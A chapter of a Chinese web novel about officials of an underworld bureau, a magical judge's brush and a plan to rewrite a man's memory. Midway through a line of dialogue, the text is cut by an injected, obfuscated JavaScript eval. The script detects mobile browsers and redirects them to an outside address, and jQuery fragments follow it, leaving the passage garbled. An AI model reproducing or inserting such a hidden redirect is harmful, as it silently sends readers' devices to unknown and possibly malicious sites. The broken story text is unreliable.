29. 破题法

作品:《玫瑰烈冬

    宁安市郊的废旧仓库中,一袭黑衣的男人散漫地坐在破旧的沙发上,没有灯光,但他身后的墙上却燃烧着几团火焰,照得整个仓库明如白昼。


    “是因为她的力量问题吗?”他手中把玩着一支看上去不起眼的木头笔,笔身上雕刻着一些诡异的纹路,但让人奇怪的是,那只笔的笔尖处并没有笔芯。


    “明明是冥神司曾经的司命文官的后代,就算是隔了辈也不至于此才对,我已经让她的力量苏醒了,为什么还是不行呢?”男人用疑惑地语气自言自语着,“如果她不行的话,那岂不是只有曾经的司命文官能够办到?”


    说着他突然笑了起来,眸色深沉,接着道:“既然如此……那我是不是应该再利用那个女人一次?”


    但无论怎样,他绝对不会让判官笔在回到它的主人手中,如果那样的话,他所有的筹谋就都完了。


    屋外风声鹤唳,几道惊雷落下,雷电闪过,照在仓库后面那面墙上,苏七七几个大字显得诡谲而可怖,而就在距离不远处,“阮之年”三个大字更为夺目。


    此刻,冥神司内万籁俱寂,陈南知在院门前等了许久,才终于等到青秀的身影从屋内走出来,他回过神来,冲着她露出一脸的欣喜。


    “秀姐姐,怎么样?司空大人同意见我了吗?”


    青秀瞥了他一样,说:“跟我来吧!”


    陈南知悬着的心瞬间松懈了下去,见青秀已经转身,赶紧跟着走进了院子里。


    在冥神司很少有这样的瓦房小院了,他们每个部门都有一栋办公大楼,除了冥神大人和司空大人有自己专门的住处外,其余人办公生活全都在一栋楼里面。


    不过比起在这样偏僻又鸟都看不到一个的小院,陈南知还是觉得他们那休闲娱乐一应俱全的大楼要更方便。


    不过司空大人本就不喜欢热闹,在那种大楼里面只会觉得吵闹,所以住在这里情有可原。


    陈南知自从冥神大人换任后,就再没有见过司空大人了,就算是冥神大人失踪后冥神司由司空大人代管,也总是由青秀来传达命令,现在想想,他已经有八百年没见过司空大人了。


    “也不知道他老人家还记得我不……”陈南知小声嘀咕着,“应该不记得了吧,毕竟都这么多年了……”


    “你嘀嘀咕咕说什么呢?”青秀走在前面,听着他一个人自言自语着,回头好奇地看着他。


    陈南知抬眸对上青秀困惑的眼神,笑着抓了抓后脑勺:“我只是在想司空大人还记得我不……”


    “你觉得呢?”青秀白了他一眼,“你难道认为自己长了张让人过目不忘帅绝人寰的脸?”


    陈南知表情一滞:“……”


    陈南知自讨没趣,叹了口气说:“也是哈……所以我一会儿要自我介绍一下吗?”


    “不用!”青秀说,“你直接说事就行,司空大人没那么多时间听你的自我介绍,简单来讲就是你对司空大人无足轻重,所以废话少说……”


    这话说得实在过分,但陈南知也无话可说,毕竟前来咨询求助,就得遵守人家的规矩。


    “嗯,我知道了。”陈南知点头道。


    两人很快进了堂屋,然后青秀带着陈南知往右边的书房走了去,行至门口的时候,青秀恭敬地敲了敲门:“司空大人,人带来了。”


    “嗯,让他进来。”房间里面传出一道沉稳有力的声音,让人根本听不出他的年龄,不过在陈南知的印象里,司空大人是一个留着花白胡子的耄耋老头儿。他们冥神司的人早就没有随着时间苍老的自然规律,所以他想,大概司空大人还是八百年前那个留着话白胡子的老头,就这样想着,他朝着门内走了进去。


    不知是碍于司空大人前任冥神大人的身份,还是因为一走进去就感受到的压迫力,陈南知走进去后根本不敢抬头看,就那样畏畏缩缩地站在离书桌有一段距离的地方,声音小小的:“司空大人。”


    “抬头!”沉稳有力的声音再次响了起来,陈南知咽了口唾沫,缓慢抬头看向了前方。


    不看不知道,一看吓一跳!看着坐在书桌前的人顶着一张年轻的脸,陈南知疑惑地睁大了眼睛,心里万般疑惑起来:说好的耄耋老头呢?


    “你没有认错。”司空大人看着陈南知轻笑道,“我就是你们的司空大人。”


    “……”陈南知难以置信,小心翼翼问了句:“可司空大人不是应该是个老头吗?”


    司空大人面不改色道:“我存在了一千八百年,的确是个老头。”


    “我的意思是……你的样貌……”


    他的样貌明明就是一个三十出头的年轻人,和老头八竿子打不着关系,若不是青秀领着他来的,他绝对会以为眼前的人是个冒充之人。


    司空大人摇头笑道:“啊……对……以前为了彰显自己的资历和威严,的确是一个老头的形象,但实际上现在这个样子才是我本来的样子,你不知道当冥神大人是需要有威严一点吗?”


    “啊?”这个信息,陈南知还是第一次听到,也就是说,他们眼里的冥神大人,其实只是可以展现出来的假象,他们真实的样子可能没人知道?


    “不过这些都不重要,说说你来找我什么事吧?”司空大人直截了当道,“给你三分钟,够吗?”


    才三分钟?陈南知都不知道三分钟能不能把事情说清楚。


    司空大人见他愣了愣,提醒道:“已经过了三秒了,抓紧哟!”


    陈南知有些慌乱,但很快镇定了下来,于是开口将无法抹除陆景记忆的事情一股脑说了出来,其间还不忘多嘴提了两嘴判官笔的事情,说完后倒吸口气,恭敬请求道:“请司空大人告诉属下,可有解决之法?”


    听完陈南知说的那些和他的请求,司空大人目光落在桌上的电子钟,随口说了句:“时间刚刚好呢……”


    陈南知不好意思干笑了起来:“谢谢司空大人听我说完。”


    “不过这个事情不是很好解决吗?”司空大人不以为然,“只要他死了不就行了?”


    “哈啊?”这个回答,让陈南知惊讶得如遭雷劈,脑子都被震成了一团浆糊。


    “我说得不对吗?”司空大人手指一下一下有节奏地点着敲着桌面,清脆的敲击声中,他的声音听上去显得无比阴冷,“人死了,冥神司走一遭,投胎转世后前尘往事就都忘了,这难道不是一个很好的办法吗?”


    这话说得让陈南知不寒而栗,他努力平复着因为这个可怕提议而心惊胆战的情绪,说:“可冥神司之人,不可插手人界之人的生死,而且人界之人的生死是有定数的,他应该还没有到死期将至的地步。”


    “很好。”司空大人突然停下了手,神色陡转,笑了起来:“看来你对冥神司的各项规则很熟悉嘛。”


    陈南知骤然反应了过来,“所以司空大人刚才只是在考察我?”


    司空大人点头,露出欣赏之色:“看来你也不傻……那么我就告诉你一个可行的办法。”


    陈南知没说话,安静等待着。


    司空大人身体往前面靠了靠,抬眸看向陈南知语气慎重道:“如果无法抹除记忆,你可以试试篡改对方的记忆,让他以为一切都只是一


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17386576|199154||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    场梦不就万事大吉了。”


    一语惊醒梦中人,陈南知眼神一亮,不禁怀疑起自己是不是因为最近事太多脑子短路了,竟然连这么简单的办法都没想到。


    “我明白了!”陈南知思绪豁然开朗,一扫刚才的困惑迷茫,神色也较之刚来时更加放松,眉头舒展开来,嘴角勾出些许笑意。


    “既然知道了,可还有其他事情?”


    “没——”刚一开口,他就顿了一下,话锋一转问道:“那个司空大人……不知您是否已经知晓判官笔在人界出现一事?”


    司空大人不以为意:“知道啊,你刚才不是说了吗?”


    陈南知赶紧问:“那司空大人对此有何看法?”


    “看法吗?”司空大人莫名微笑了一下,眸中凝结出一抹深远的意味,凝声道:“判官笔,是时候该回到它的主人手中了。”


    闻言,陈南知神色凛然,不解道:“这是什么意思啊?”


    司空大人轻抬眼皮瞥了陈南知一眼,突然不悦道:“你的问题太多了,要是没别的事了,我乏了,好走不送!”


    听了这话,陈南知回过神来,自然不敢再继续叨扰,便微微颔首:“打扰司空大人歇息了,我这就离开,您好好休息!”


    司空大人闭眼假寐,竟真的没有再搭理他。


    陈南知有些尴尬,但也知道不便再多留,就转身轻手轻脚从书房里面走了出来。刚一出来,一旁就传来了一句询问。


    “事情都问明白了?”青秀声音淡淡的,表情更是淡淡的。


    陈南知点头应道:“都明白了。”


    “既然这样,回去干你的事儿吧!”她说完,下巴朝着院门一抬,就算不说话,陈南知也知道她那是“好走不送”的意思。


    陈南知很快离开了冥神司回到了陆景病房,回来后没见着老狗,有些疑惑:“他人呢?”


    阮之年靠着椅子睡着了,听见陈南知声音瞬间惊醒了过来。她抬起头看着陈南知,说:“小梦死了,我们担心她会恶化,于是他就去找上次那个人去了。”


    “上次那个人?”陈南知想了一下后说:“李阅?”


    “嗯,”阮之年点头,“就是这个人。”


    既然知道了老狗的去向,他也不担心他会出事了,便道:“先不管他了,我们先解决陆景的事情吧!”


    “你找到办法了?”


    陈南知点头:“嗯,要是司空大人都没办法,那我不是白跑了。陈南知瞧着病床上已经熟睡过去的陆景,看了两眼说:“现在我会给他植入一段不属于他的记忆,让他以为那晚上的所见不过都是一场梦境,你跟他说的那些话和能够看到你的事情,通通都会被他认为那是一场梦,那之后,你便不可以再出现他面前,你……要不要……”


    阮之年轻轻摇头,语气平静:“没关系,我就在这里看着。”


    她很清楚,一旦陈南知完成这件事情后,她和陆景之间就真的不会再有任何联系了。


    他会忘记昨晚的发生的一切,也会忘记关于见过自己的事情,那些以为再也不会见面的告白也会被封存在不见天日的记忆盒子里面……然后在不久的将来,也许他会在某个时间突然收到自己的死讯,那个时候自己的尸骨或许早就成为了一堆白骨……


    他只会认为自己没有坦白过,也不知道自己对他的感情,他不过就是失去一个喜欢的人,而不是相爱的人。


    所以她希望陆景不要太过于难过,就算难过,也希望这样会让他难过的程度更轻一点。


    而这样,自己应该也能更放心一些了。